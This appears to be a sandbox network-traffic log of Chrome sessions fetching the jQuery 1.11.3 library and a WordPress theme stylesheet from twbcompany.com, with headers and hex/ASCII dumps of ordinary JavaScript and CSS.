2024-10-07 11:16:59 UTC	6810	IN	Data Raw: 25 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 6e 61 76 69 67 61 74 69 6f 6e 20 75 6c 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 6e 61 76 69 67 61 74 69 6f 6e 20 6c 69 20 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 6e 61 76 69 67 61 74 69 6f 6e 20 61 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 6e 61 76 69 67 61 74 69 6f 6e 20 75 6c 20 75 6c 20 7b 0a 09 62 6f 78 2d 73 68 61 64 Data Ascii: %;}.main-navigation ul {display: none;list-style: none;margin: 0;padding-left: 0;}.main-navigation li {float: left;position: relative;}.main-navigation a {display: block;text-decoration: none;}.main-navigation ul ul {box-shad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	151.101.194.137	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:16:59 UTC	548	OUT	GET /jquery-1.11.3.min.js?ver=1.11.3 HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:16:59 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 95957 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-176d5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2263681 Date: Mon, 07 Oct 2024 11:16:59 GMT X-Served-By: cache-lga21975-LGA, cache-nyc-kteb1890073-NYC X-Cache: HIT, HIT X-Cache-Hits: 3785, 0 X-Timer: S1728299820.551742,VS0,VE1 Vary: Accept-Encoding
2024-10-07 11:16:59 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 31 31 2e 33 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 35 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e Data Ascii: /! jQuery v1.11.3 \| (c) 2005, 2015 jQuery Foundation, Inc. \| jquery.org/license /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a win
2024-10-07 11:16:59 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 68 5d 7c 7c 7b 7d 2c 68 2b 2b 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 7c 7c 6d 2e 69 73 46 75 6e 63 74 69 6f 6e 28 67 29 7c 7c 28 67 3d 7b 7d 29 2c 68 3d 3d 3d 69 26 26 28 67 3d 74 68 69 73 2c 68 2d 2d 29 3b 69 3e 68 3b 68 2b 2b 29 69 66 28 6e 75 6c 6c 21 3d 28 65 3d 61 72 67 75 6d 65 6e 74 73 5b 68 5d 29 29 66 6f 72 28 64 20 69 6e 20 65 29 61 3d 67 5b 64 5d 2c 63 3d 65 5b 64 5d 2c 67 21 3d 3d 63 26 26 28 Data Ascii: tion(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]\|\|{},h++),"object"==typeof g\|\|m.isFunction(g)\|\|(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(
2024-10-07 11:16:59 UTC	1378	IN	Data Raw: 61 63 65 28 6f 2c 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 70 2c 71 29 7d 2c 6e 6f 64 65 4e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 30 2c 66 3d 61 2e 6c 65 6e 67 74 68 2c 67 3d 72 28 61 29 3b 69 66 28 63 29 7b 69 66 28 67 29 7b 66 6f 72 28 3b 66 3e 65 3b 65 2b 2b 29 69 66 28 64 3d 62 2e 61 70 70 6c 79 28 61 5b 65 5d 2c 63 29 2c 64 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 65 20 69 6e 20 61 29 69 66 28 64 3d 62 2e 61 70 70 6c 79 28 61 5b 65 5d 2c Data Ascii: ace(o,"ms-").replace(p,q)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=r(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],
2024-10-07 11:16:59 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 2b 6e 65 77 20 44 61 74 65 7d 2c 73 75 70 70 6f 72 74 3a 6b 7d 29 2c 6d 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 68 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 76 61 72 20 62 3d 22 6c 65 6e 67 74 68 22 69 6e 20 61 26 26 61 2e 6c 65 6e 67 74 68 2c 63 3d 6d 2e 74 79 70 65 28 61 29 3b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 63 7c 7c 6d 2e 69 73 57 69 Data Ascii: nction(){return+new Date},support:k}),m.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function r(a){var b="length"in a&&a.length,c=m.type(a);return"function"===c\|\|m.isWi
2024-10-07 11:16:59 UTC	1378	IN	Data Raw: 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4d 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4d 2e 72 65 70 6c 61 63 65 28 22 77 22 2c 22 77 2a 22 29 2b 22 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4f 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 50 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4c 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4c 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4c 2b 22 2a 28 5c 5c 64 2b Data Ascii: ASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+L+"(even\|odd\|(([+-]\|)(\\d)n\|)"+L+"(?:([+-]\|)"+L+"*(\\d+
2024-10-07 11:16:59 UTC	1378	IN	Data Raw: 26 26 68 2e 69 64 3d 3d 3d 6a 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 68 29 2c 64 7d 65 6c 73 65 7b 69 66 28 66 5b 32 5d 29 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 29 2c 64 3b 69 66 28 28 6a 3d 66 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 6a 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 73 3d 72 3d 75 2c 77 3d 62 2c 78 3d 31 21 3d 3d 6b 26 26 61 2c 31 3d 3d 3d 6b 26 26 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 Data Ascii: &&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q\|\|!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName
2024-10-07 11:16:59 UTC	1378	IN	Data Raw: 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 5d 3d 63 5b 65 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 61 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 61 7d 63 3d 67 61 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 66 3d 67 61 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 26 26 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e Data Ascii: +b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument\|\|a).documentElemen
2024-10-07 11:16:59 UTC	1378	IN	Data Raw: 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 3a 63 2e 71 73 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 5b 5d 2c 65 3d 30 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 3b 69 66 28 22 2a 22 3d 3d 3d 61 29 7b 77 68 69 6c 65 28 63 3d 66 5b 65 2b 2b 5d 29 31 3d 3d 3d 63 2e 6e 6f 64 65 54 79 70 65 26 26 64 2e 70 75 73 68 28 63 29 3b 72 65 74 75 72 6e 20 64 7d 72 65 74 75 72 6e 20 Data Ascii: ame?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return
2024-10-07 11:16:59 UTC	1378	IN	Data Raw: 21 3d 27 27 5d 3a 78 22 29 2c 72 2e 70 75 73 68 28 22 21 3d 22 2c 50 29 7d 29 2c 71 3d 71 2e 6c 65 6e 67 74 68 26 26 6e 65 77 20 52 65 67 45 78 70 28 71 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 72 3d 72 2e 6c 65 6e 67 74 68 26 26 6e 65 77 20 52 65 67 45 78 70 28 72 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 62 3d 24 2e 74 65 73 74 28 6f 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 74 3d 62 7c 7c 24 2e 74 65 73 74 28 6f 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 39 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 3f 61 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 61 2c 64 3d 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 61 3d 3d 3d 64 7c 7c 21 28 21 64 7c 7c 31 21 3d Data Ascii: !='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("\|")),r=r.length&&new RegExp(r.join("\|")),b=$.test(o.compareDocumentPosition),t=b\|\|$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d\|\|!(!d\|\|1!=
2024-10-07 11:16:59 UTC	1378	IN	Data Raw: 54 79 70 65 29 72 65 74 75 72 6e 20 64 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 67 61 28 62 2c 6e 2c 6e 75 6c 6c 2c 5b 61 5d 29 2e 6c 65 6e 67 74 68 3e 30 7d 2c 67 61 2e 63 6f 6e 74 61 69 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 21 3d 3d 6e 26 26 6d 28 61 29 2c 74 28 61 2c 62 29 7d 2c 67 61 2e 61 74 74 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 21 3d 3d 6e 26 26 6d 28 61 29 3b 76 61 72 20 65 3d 64 2e 61 74 74 72 48 61 6e 64 6c 65 5b 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 2c 66 3d 65 26 26 44 2e 63 61 6c 6c 28 64 2e 61 74 74 72 48 61 6e 64 6c 65 2c 62 2e 74 6f 4c 6f 77 65 72 43 61 73 Data Ascii: Type)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument\|\|a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument\|\|a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49747	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:16:59 UTC	599	OUT	GET /2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:16:59 UTC	255	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:16:59 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 21 Feb 2024 15:05:14 GMT Accept-Ranges: bytes Content-Length: 84022 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 11:16:59 UTC	7937	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0a 2f 2a 20 46 6f 6e 74 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 65 6c 6c 6f 2f 63 73 73 2f 66 6f 6e 74 65 6c 6c 6f 2e 63 73 73 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 33 30 30 2c 34 30 30 69 74 61 6c 69 63 2c 36 30 30 2c 37 30 30 2c 36 30 30 69 74 61 6c 69 63 7c 4d 6f 6e 74 73 65 72 72 61 74 3a 34 30 30 2c 37 30 30 22 29 3b 0a 2f 2a 20 56 65 6e 64 6f 72 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2f 2a 20 42 69 74 74 65 72 73 20 30 2e 31 30 2e 30 0a 20 2a 20 68 Data Ascii: @charset "UTF-8";/* Fonts********/@import url(../fonts/fontello/css/fontello.css);@import url("https://fonts.googleapis.com/css?family=Open+Sans:400,300,400italic,600,700,600italic\|Montserrat:400,700");/ Vendors***********// Bitters 0.10.0 * h
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 61 70 70 2f 73 61 73 73 2f 76 65 6e 64 6f 72 73 2f 62 61 73 65 2f 5f 62 75 74 74 6f 6e 73 2e 73 63 73 73 20 2a 2f 0a 62 75 74 74 6f 6e 2c 0a 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 20 7b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 2d 6d 6f 7a 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 2d 6d 73 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 2d 6f 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 76 65 72 74 69 63 61 Data Ascii: app/sass/vendors/base/_buttons.scss */button,input[type="submit"] { -webkit-appearance: none; -moz-appearance: none; -ms-appearance: none; -o-appearance: none; appearance: none; border: none; cursor: pointer; user-select: none; vertica
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 20 62 6f 74 74 6f 6d 20 2c 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 38 29 20 30 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 36 30 25 2c 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 34 29 20 31 30 30 25 29 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 74 6f 70 2c 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 38 29 20 30 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 36 30 25 2c 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 34 29 20 31 30 Data Ascii: bottom: 0; left: 0; background-image: -webkit-linear-gradient( bottom , rgba(0, 0, 0, 0.8) 0, transparent 60%, rgba(0, 0, 0, 0.4) 100%); background-image: linear-gradient(to top, rgba(0, 0, 0, 0.8) 0, transparent 60%, rgba(0, 0, 0, 0.4) 10
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 7d 0a 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 35 30 72 65 6d 29 20 7b 0a 20 20 20 20 20 20 2f 2a 20 6c 69 6e 65 20 31 30 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 67 72 69 64 73 2e 73 63 73 73 20 2a 2f 0a 20 20 20 20 20 20 2e 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 37 35 70 78 3b 20 7d 20 7d 0a 20 20 20 20 2f 2a 20 6c 69 6e 65 20 32 32 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 Data Ascii: ; width: 100%; overflow: hidden; color: #fff; } @media screen and (min-width: 50rem) { /* line 10, ../../app/sass/partials/_grids.scss / .column-container .image { height: 175px; } } / line 22, ../../app/sass/part
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 30 2e 34 73 3b 0a 20 20 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 30 2e 34 73 3b 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 30 2e 34 73 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 35 29 3b 20 7d 0a 20 20 2f 2a 20 6c 69 6e 65 20 31 38 30 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 67 72 69 64 73 2e 73 63 73 73 20 2a Data Ascii: bottom: 0; left: 0; -webkit-transition: background-color 0.4s; -moz-transition: background-color 0.4s; transition: background-color 0.4s; background-color: rgba(0, 0, 0, 0.5); } /* line 180, ../../app/sass/partials/_grids.scss *
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 74 72 61 6e 73 6c 61 74 65 59 28 2d 32 35 30 25 29 3b 0a 20 20 20 20 20 20 20 20 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 32 35 30 25 29 3b 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 32 35 30 25 29 3b 20 7d 0a 20 20 20 20 20 20 2f 2a 20 6c 69 6e 65 20 37 32 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 6e 61 76 69 67 61 74 69 6f 6e 2e 73 63 73 73 20 2a 2f 0a 20 20 20 20 20 20 23 6d 6f 62 69 6c 65 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6d 6f 62 69 6c 65 2d 6e 61 76 2d 74 72 69 67 67 65 72 20 2e 6d 65 6e 75 2d 69 63 6f 6e 3a 61 66 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a Data Ascii: translateY(-250%); -o-transform: translateY(-250%); transform: translateY(-250%); } /* line 72, ../../app/sass/partials/_navigation.scss */ #mobile-nav-container .mobile-nav-trigger .menu-icon:after { -webkit-transform:
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 20 20 20 20 2f 2a 20 6c 69 6e 65 20 32 34 30 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 6e 61 76 69 67 61 74 69 6f 6e 2e 73 63 73 73 20 2a 2f 0a 20 20 20 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 20 75 6c 20 6c 69 3a 68 6f 76 65 72 20 2e 64 72 6f 70 64 6f 77 6e 2c 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 20 75 6c 20 6c 69 3a 66 6f 63 75 73 20 2e 64 72 6f 70 64 6f 77 6e 20 7b 0a 20 20 20 20 20 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 6f 70 61 